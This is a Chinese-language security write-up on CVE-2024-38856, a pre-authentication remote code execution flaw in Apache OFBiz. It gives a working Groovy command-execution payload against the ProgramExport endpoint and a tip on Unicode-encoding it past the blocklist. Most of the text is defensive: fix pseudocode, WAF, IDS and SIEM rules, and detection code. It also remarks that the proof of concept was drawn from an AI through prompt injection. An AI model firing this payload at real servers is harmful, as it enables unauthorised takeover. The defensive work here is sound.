CVE-2024-38856 是 Apache OFBiz 中一个 未经授权的远程代码执行(Pre-Auth RCE)漏洞。这个漏洞允许攻击者直接访问本应受保护的控制器逻辑并执行任意代码,无需先通过身份验证或权限检查。

  • 影响系统:Apache OFBiz ≤ 18.12.14
  • 危害等级:Critical,CVSS 3.1 9.8 / NVD
  • 修复版本:升级至 18.12.15 或更新版本

漏洞被列入 CISA 的 Known Exploited Vulnerabilities (KEV) Catalog,表明存在广泛确实的威胁。

漏洞原理 Apache OFBiz 的请求处理流程中存在 错误的授权判断逻辑,导致攻击者可以访问本应受保护的功能端点(如 ProgramExport)。漏洞的根本原因类似于 不存在或不足够严格的权限检查(CWE-863),使得未经过身份验证的请求也能触发敏感屏幕渲染逻辑。

具体而言:

  1. OFBiz 有一个名为 ProgramExport 的视图/控制器,用于渲染程序或执行 Groovy 脚本。
  2. 该端点本应只对经过授权的用户开放。
  3. 由于授权检查逻辑错误,当请求以无需认证的“正常路径”访问 ProgramExport 时,该逻辑被绕过,从而执行了代码。 漏洞属于 Incorrect Authorization,攻击者无需身份验证即可访问敏感功能。

攻击场景流程图 + DFD 威胁建模 1)攻击场景流程图

graph LR
    A[攻击者] -->|1. 构造请求| B[POST /control/main/ProgramExport]
    B -->|2. 路径匹配| C{ControlFilter}
    C -->|3. 检查配置| D[controller.xml]
    D -->|4. auth=false| C
    C -->|5. 放行| E[ProgramExport处理器]
    E -->|6. 读取参数| F[groovyProgram]
    F -->|7. 执行代码| G[Groovy引擎]
    G -->|8. 代码执行| H[系统资源]
    H -->|9. 返回结果| A
    
    style C fill:#ffcccc
    style G fill:#ff9999
Valid OFBiz request pipeline:

ClientAuth CheckHandlerProtected View

CVE-2024-38856 pipeline:

AttackerNo Auth CheckHandlerProgramExportExecute Script


在正常访问流程中,客户端请求必须经过授权模块检查,确认用户具有访问受保护资源的权限后再执行对应视图处理逻辑。然而,CVE-2024-38856 的错误授权判断导致某些请求(如直接访问 ProgramExport)绕过授权检查即可进入视图处理流程,从而执行 Groovy 脚本或任意代码。

2)DFD(数据流图)

External Entity
    Attacker
        |
        | [1] HTTP Request -> crafted ProgramExport
        v
Process P1: OFBiz Request Handler
        |
        | [2] Missing / incorrect authorization check (fails to block)
        v
Process P2: ProgramExport controller
        |
        | execute Groovy script
        v
Data Store: OFBiz server & OS process


漏洞复现原理图示说明

复现的关键在于通过 main 路径作为跳板,直接调用 WebTools 模块中的 ProgramExport

Payload 示例:

POST /webtools/control/main/ProgramExport HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

groovyProgram=throw new Exception('whoami'.execute().text);
  • 预期结果:服务器返回 500 错误,但在报错信息中包含了执行命令的结果(如 root)。

漏洞复现

从接口https://localhost:8443/accounting/control/main输入admin/ofbiz,登录成功。随即,逐次查阅至相关接口,例如/webtools/control/main/ProgramExport可以写入文本或评论。

Snipaste_2026-01-10_16-20-37.png

接着,将命令throw new Exception('id'.execute().text);利用网站unicode编码转换工具 - 在线计算器进行unicode编码转换,最后在/webtools/control/main/ProgramExport接口进行抓包修改。

Snipaste_2026-01-10_15-52-36.png

我们看到uid、gid、root等关键字,说明漏洞利用成功!

Snipaste_2026-01-10_15-26-54.png

官方给的黑名单序列deniedWebShellTokens,但是依旧能够通过其他命令利用。这说明,黑名单不是万能的,往往需要结合白名单来进行输入过滤。

只进行黑名单过滤,不如直接白名单管理。因为黑名单可以通过unicode编码、双写各种getshell姿势绕过。

Snipaste_2026-01-10_16-15-49.png 其中CVE-2023-51467是没有使用Unicode的代码。

修复建议

  1. 升级版本:立即升级到 Apache OFBiz 18.12.15 或更高版本。
  2. 配置核查:在 controller.xml 中检查所有包含 ProgramExport 的视图映射,确保其 auth 属性设置为 true
  3. 架构层面:禁用不必要的 webtools 模块对公网开放。 伪代码级修复示例

官方修复方案强化了对 URL 路径的规范化和权限映射的严谨性。

漏洞逻辑(简化):

// 旧逻辑:只检查当前 Action 的权限
String action = getRequestAction(request); // 结果为 "main"
if (!requiresAuth(action)) { 
    proceedToView(request); // 错误地允许后续 View 执行
}

修复方案(简化):

// 新逻辑:对请求的所有路径分段进行严格映射校验
String fullPath = normalize(request.getPathInfo()); 
// 确保即使是通过 /main 访问,也会检查 ProgramExport 的固有权限要求
if (isHighRiskView(fullPath) && !userIsAuthenticated()) {
    sendError(403, "Access Denied: High risk view requires authentication.");
    return;
}

基于该漏洞的安全检测与防护规则

虽然具体利用细节属于 RCE exploit 范畴,WAF/IDS 可以关注以下特征: 1)WAF 规则建议(ModSecurity)

目的:拦截未经授权访问 ProgramExport 控制器的请求

SecRule REQUEST_URI "@pm /webtools/control/*/ProgramExport" \
 "phase:2,deny,status:403,\
 msg:'CVE-2024-38856 Attempted Unauthorized Access to ProgramExport',\
 severity:CRITICAL"


说明

  • 匹配所有访问 ProgramExport 的路径
  • 阻断请求以防止触发视图渲染逻辑 2)IDS / NIDS 示例规则(Suricata)
alert http any any -> any any (
    msg:"CVE-2024-38856 Unauthorized ProgramExport access attempt";
    http.uri; content:"ProgramExport"; nocase;
    classtype:web-application-attack;
    sid:202438856; rev:1
)


3)SIEM 监测建议

index=web_logs sourcetype=ofbiz
| search uri="/webtools/control/*/ProgramExport"
| stats count by src_ip, uri
| where count > 5


基于 Flask 的实时检测与防护(应用层)

部署一个 Flask 应用作为反向代理/API 网关,拦截对 ProgramExport 等敏感端点的未授权请求。 1.1 Flask 中间件:请求拦截与验证

# ofbiz_proxy.py
import re
from flask import Flask, request, abort, jsonify
import time

app = Flask(__name__)

# 敏感端点列表(可扩展)
SENSITIVE_ENDPOINTS = [
    '/webtools/control/ProgramExport',
    '/webtools/control/ProgramExport/',
]

# 简单的会话验证(模拟,实际应验证OFBiz会话Cookie)
def is_authenticated():
    # 检查常见的会话Cookie或Authorization头
    # 这里仅示例:假设存在名为'OFBizSession'的Cookie即认为已认证
    session_cookie = request.cookies.get('OFBizSession')
    # 也可检查 Authorization: Bearer <token>
    auth_header = request.headers.get('Authorization')
    return bool(session_cookie or auth_header)

# 检测Groovy代码特征(简单规则)
GROOVY_PATTERNS = [
    re.compile(r'Runtime\.getRuntime\(\)\.exec', re.I),
    re.compile(r'ProcessBuilder', re.I),
    re.compile(r'GroovyShell', re.I),
    re.compile(r'eval\s*\(', re.I),
]

def contains_groovy_injection(payload):
    for pattern in GROOVY_PATTERNS:
        if pattern.search(payload):
            return True
    return False

@app.before_request
def before_request():
    # 1. 检查请求路径是否敏感
    if request.path in SENSITIVE_ENDPOINTS:
        # 2. 验证身份
        if not is_authenticated():
            abort(401, description='Authentication required')
        
        # 3. 检查请求体中是否包含Groovy注入特征(GET/POST参数)
        #   注意:攻击Payload可能在参数中,如 groovyProgram=...
        if request.method == 'POST':
            data = request.get_data(as_text=True)
            if contains_groovy_injection(data):
                log_attack(request)
                abort(403, description='Malicious request blocked')
        elif request.method == 'GET':
            # 检查查询参数
            args = request.args.to_dict()
            for key, value in args.items():
                if contains_groovy_injection(value):
                    log_attack(request)
                    abort(403, description='Malicious request blocked')
    
    # 4. 可选的速率限制(对未认证请求)
    if not is_authenticated():
        if rate_limit_exceeded(request.remote_addr):
            abort(429, description='Too many requests')

def rate_limit_exceeded(ip, limit=30, window=60):
    # 简单内存记录(生产应使用Redis)
    if not hasattr(rate_limit_exceeded, 'records'):
        rate_limit_exceeded.records = {}
    now = time.time()
    records = rate_limit_exceeded.records.setdefault(ip, [])
    # 清理过期记录
    records = [t for t in records if now - t < window]
    rate_limit_exceeded.records[ip] = records
    if len(records) >= limit:
        return True
    records.append(now)
    return False

def log_attack(request):
    with open('attack.log', 'a') as f:
        f.write(f"{request.remote_addr} - {request.method} {request.path} - {request.headers}\n")

@app.errorhandler(401)
def unauthorized(e):
    return jsonify(error='Unauthorized'), 401

@app.errorhandler(403)
def forbidden(e):
    return jsonify(error='Forbidden'), 403

@app.errorhandler(429)
def too_many(e):
    return jsonify(error='Too many requests'), 429

# 转发请求到后端OFBiz(示例)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
    # 此处应实际转发请求到OFBiz服务器
    return f"Proxied to {path} (authenticated: {is_authenticated()})"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

1.2 日志监控脚本 实时分析 OFBiz 访问日志,发现对 ProgramExport 的异常请求。

# monitor_logs.py
import re
import sys
from collections import defaultdict

LOG_PATTERN = re.compile(
    r'(?P<ip>\d+\.\d+\.\d+\.\d+).*?"(?P<method>\w+) (?P<path>[^"]+)" (?P<status>\d+)'
)
SENSITIVE_PATH = '/webtools/control/ProgramExport'

def analyze_log(logfile):
    attempts = defaultdict(int)
    with open(logfile, 'r') as f:
        for line in f:
            match = LOG_PATTERN.search(line)
            if match:
                if match.group('path') == SENSITIVE_PATH:
                    ip = match.group('ip')
                    attempts[ip] += 1
    for ip, count in attempts.items():
        if count > 5:  # 阈值
            print(f"[!] IP {ip} 尝试访问 {SENSITIVE_PATH} {count} 次")

if __name__ == '__main__':
    analyze_log(sys.argv[1])

基于 TensorFlow 的异常行为检测

利用机器学习模型识别针对 OFBiz 的攻击行为,特别是对 ProgramExport 端点的恶意请求。 2.1 特征工程 从每个请求中提取特征,包括:

  • 请求路径(编码为数值,如通过哈希或预定义索引)
  • 请求方法(GET/POST等 one-hot)
  • 请求参数长度、数量
  • 是否包含 Groovy 关键字(如 Runtimeexec
  • 请求时间(小时)
  • 客户端 IP 信誉(如是否为已知代理)
  • 用户代理字符串长度和常见性
  • 请求频率(同一IP最近10分钟请求数)
  • 会话是否存在(0/1)
def extract_features(request_entry, history):
    # request_entry 包含: ip, path, method, params, user_agent, has_session, timestamp
    features = [
        hash_path(request_entry['path']) % 1000,  # 简化为数值
        1 if request_entry['method'] == 'POST' else 0,
        len(request_entry['params']),
        any(kw in request_entry['params'] for kw in ['Runtime', 'exec', 'ProcessBuilder']),
        request_entry['timestamp'].hour,
        ip_reputation(request_entry['ip']),
        len(request_entry['user_agent']),
        1 if 'Mozilla' in request_entry['user_agent'] else 0,
        history['freq_10min'],
        1 if request_entry['has_session'] else 0
    ]
    return features

2.2 模型训练(示例) 假设已有标记数据集(正常请求=0,攻击=1),使用 TensorFlow 构建分类模型。

import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split

# X 特征矩阵,y 标签
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)

model = models.Sequential([
    layers.Dense(64, activation='relu', input_shape=(X.shape[1],)),
    layers.Dropout(0.3),
    layers.Dense(32, activation='relu'),
    layers.Dropout(0.3),
    layers.Dense(16, activation='relu'),
    layers.Dense(1, activation='sigmoid')
])

model.compile(optimizer='adam',
              loss='binary_crossentropy',
              metrics=['accuracy'])

model.fit(X_train, y_train, epochs=10, batch_size=32, validation_split=0.1)

# 保存模型
model.save('ofbiz_rce_model.h5')

2.3 集成到 Flask 中间件 加载模型,对每个请求进行实时预测,若异常概率高于阈值则拦截。

from tensorflow.keras.models import load_model
import numpy as np

model = load_model('ofbiz_rce_model.h5')
THRESHOLD = 0.8

def predict_anomaly(request_entry, history):
    features = extract_features(request_entry, history)
    prob = model.predict(np.array([features]))[0][0]
    return prob > THRESHOLD

# 在Flask中间件中调用
# if not is_authenticated() and predict_anomaly(request_entry, history):
#     abort(403, description='Anomaly detected')

基于 ModSecurity 的 WAF 规则 在 Apache/NGINX 中部署 ModSecurity,拦截对 ProgramExport 的恶意请求。 3.1 基础规则:拦截未授权访问和恶意Payload

# modsecurity_crs_68_ofbiz_cve_2024_38856.conf

# 规则1:拦截对 ProgramExport 端点的直接访问(无认证可先拦,但可能误拦,需结合业务)
SecRule REQUEST_URI "@beginsWith /webtools/control/ProgramExport" \
    "id:1005001,\
    phase:1,\
    t:none,\
    deny,\
    status:403,\
    msg:'OFBiz CVE-2024-38856 - Unauthorized ProgramExport access',\
    logdata:'Request URI: %{REQUEST_URI}',\
    tag:'attack-rce',\
    tag:'cve-2024-38856',\
    severity:'CRITICAL'"

# 规则2:检测 Groovy 代码特征(参数或请求体中)
SecRule ARGS|REQUEST_BODY "@rx (?i)(Runtime\.getRuntime\(\)\.exec|ProcessBuilder|GroovyShell|eval\s*\()" \
    "id:1005002,\
    phase:2,\
    t:none,\
    block,\
    capture,\
    msg:'OFBiz RCE attempt - Groovy injection',\
    logdata:'Matched: %{TX.0}',\
    tag:'attack-rce',\
    severity:'CRITICAL'"

# 规则3:对 ProgramExport 路径进行速率限制(即使有认证)
SecRule REQUEST_URI "@beginsWith /webtools/control/ProgramExport" \
    "id:1005003,\
    phase:1,\
    t:none,\
    ver:'OWASP_CRS/4.0',\
    block,\
    msg:'ProgramExport rate limiting',\
    setvar:'tx.program_export_counter_%{REMOTE_ADDR}=+1',\
    expirevar:'tx.program_export_counter_%{REMOTE_ADDR}=60'"
SecRule TX:program_export_counter_%{REMOTE_ADDR} "@gt 5" \
    "id:1005004,\
    phase:1,\
    block,\
    msg:'Too many ProgramExport requests from single IP',\
    severity:'WARNING'"

3.2 部署示例(NGINX)

server {
    listen 80;
    server_name ofbiz.example.com;

    ModSecurityEnabled on;
    ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;

    location / {
        proxy_pass http://ofbiz-backend:8080;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

总结:CVE-2024-38856 是一个严重的前置认证 RCE 漏洞。通过组合 Flask 应用层防护、TensorFlow 异常检测和 ModSecurity WAF,可以在升级前提供深度防御,有效检测和阻止攻击尝试。建议所有 OFBiz 用户立即采取行动。

参考文章如下,总的来说合这是ai for security的一个方面,利用提示词注入即可得到PoC。

  1. Apache OFBiz 未授权远程代码执行(CVE-2024-45195) - Seebug 漏洞平台www.seebug.org/vuldb/ssvid…
  2. 新鲜热乎漏洞之 Apache OFBiz 未经身份验证的远程代码执行(CVE-2024-45195) - 火线 Zone-安全攻防社区 zone.huoxian.cn/d/2942-apac…
  3. CVE-2024-38856:Apache OFBiz远程代码执行漏洞-腾讯云开发者社区-腾讯云cloud.tencent.com/developer/a… 4.CVE-2024-38856 - Apache OFBiz Incorrect Authorization Vulnerability - Actively Exploited cvefeed.io/vuln/detail…